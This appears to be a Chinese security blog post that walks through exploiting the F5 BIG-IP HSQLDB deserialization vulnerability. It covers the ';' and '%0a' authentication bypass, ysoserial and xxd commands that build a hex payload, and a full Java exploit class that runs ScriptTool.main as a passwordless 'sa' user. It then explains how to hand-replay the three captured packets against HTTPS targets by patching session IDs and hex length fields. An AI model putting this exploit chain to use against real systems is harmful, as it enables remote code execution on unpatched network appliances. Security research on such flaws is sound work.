本文约2800字,阅读约需6分钟。
在某次项目碰到HSQLDB,第一时间想到使用网络公开的POC,但是利用失败——失败原因是因为F5使用了"https"导致HSQLDB连接失败。
这难道能难倒我吗?既然此路不通,那我就用本地复现抓取利用成功的包,进行"https"网站的复现。
话不多说,直接开工。
2020年07月08日,F5官方更新了“F5 BIG-IP”远程代码执行的风险通告,更新了“httpd”的补丁。
include '
<LocationMatch ".*\.\.;.*">
Redirect 404 /
</LocationMatch>
'
改为:
include '
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
'
然而这样依然可以被绕过,使用“%0a”,也是因为tomcat的处理和apache的差异所导致的。
通过”;“或者“%0a”直接访问HSQLDB来绕过身份验证,从而通过org.hsqldb.util.ScriptTool.main反序列化了以ASCII十六进制字符串造成反序列化漏洞,不过该反序列化攻击需要HSQLDB没有设置密码。我们直接访问HSQLDB,显示默认页:
而利用”;“或者“%0a”,可以造成权限绕过。
使用网络公开的工具进行攻击会直接失败,而失败原因是因为F5使用了"https"导致。
首先,需要下载好环境:
“https://github.com/longofo/hsqldb-source
https:/archive.apache.org/dist/tomcat/tomcat-7/v7.0.105/bin/apache-tomcat-7.0.105.zip”
然后使用idea,加载下载的HSQLDB:
Run之后会跳转浏览器:
http://localhost:8080/hsqldb_war/;
访问漏洞页面:
生成payload:
“java -jar ysoserial.jar CommonsCollections6 "open -a calculator" > nc.class”
使用ysoserial生成POC,这里使用的payload是:
“CommonsCollections6
xxd -p nc.class | xargs | sed -e 's/ //g' | dd conv=ucase 2>/dev/null > payload.hex”
生成十六进制编码的POC,使用idea运行POC:
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.IOException;
import org.hsqldb.lib.StringConverter;
public class F5RCE {
public static void main(String[] args) {
Connection connection;
Statement statement;
String pfile = "";#payload的路径
String payload = null;
try {
payload = new String(Files.readAllBytes(Paths.get(pfile)));
payload = payload.replaceAll("(\\n|\\r)","");
} catch (IOException e) {
e.printStackTrace();
}
String dburl = "jdbc:hsqldb:http://localhost:8080";#目标地址
try {
Class.forName("org.hsqldb.jdbcDriver");
connection = DriverManager.getConnection(dburl, "sa","");
statement = connection.createStatement();
statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload +"');");
} catch (java.sql.SQLException sqle) {
// ignore java.sql.SQLException: S1000
// General error java.lang.IllegalArgumentException: argument type mismatch
if(sqle.getSQLState().equals("S1000") && sqle.getErrorCode() == 40) {
System.out.println("Payload executed");
} else {
System.out.println("Unexpected SQL error");
sqle.printStackTrace();
}
return;
}
catch (ClassNotFoundException cne) {
System.err.println("Error loading db driver");
cne.printStackTrace();
return;
}
}
}
主要修改两个地方,一个是payload的路径,一个是目标地址:
Run F5RCE:
打下dnslog:
首先使用wireshark本地抓取数据包,有三个关键数据包:
这三个数据包分别对应以下三个过程:
第一个包进行认证(需要HSQLDB没有设置密码);
第二个包开启不安全的反序列化;
第三个包通过org.hsqldb.util.ScriptTool.main进行反序列化十六进制字符串。
接下来重放数据包:
1.认证获得sessionID,这里hex值是00 00 00 5f;
2.将第二个请求包的sessionID修改为第一步的sessionID,返回java.lang.Stringtrue证明命令执行成功;
3.第三个包直接复制粘贴新的payload,然后修改sessionID和数据包部分命令长度,就可以执行成功。
从call开始复制到最后,计算长度,并转换成十六进制,这里长度为2651,转换为十六进制就是0a5b。
计算长度:
然后修改数据包部分命令长度。在hex中找到6361,在6361前面就是长度,重放以后,可能还会报错,因为总长度的hex值没有修改,比如这里是2659,转换成十六进制是0a63:
dnslog收到请求:
在实战中,主要在3个数据包中修改对应的hex值,某些不一致就会导致返回错误,对于工具验证不了的漏洞,可以进行手工验证。
整套过程走下来,感觉自己像是战争中的侦察兵。找到敌人是第一步,接下来我们更要分析敌人、消灭敌人。在守卫网络安全的道路上,我们始终在前进。
- END -
长按下方图片即可关注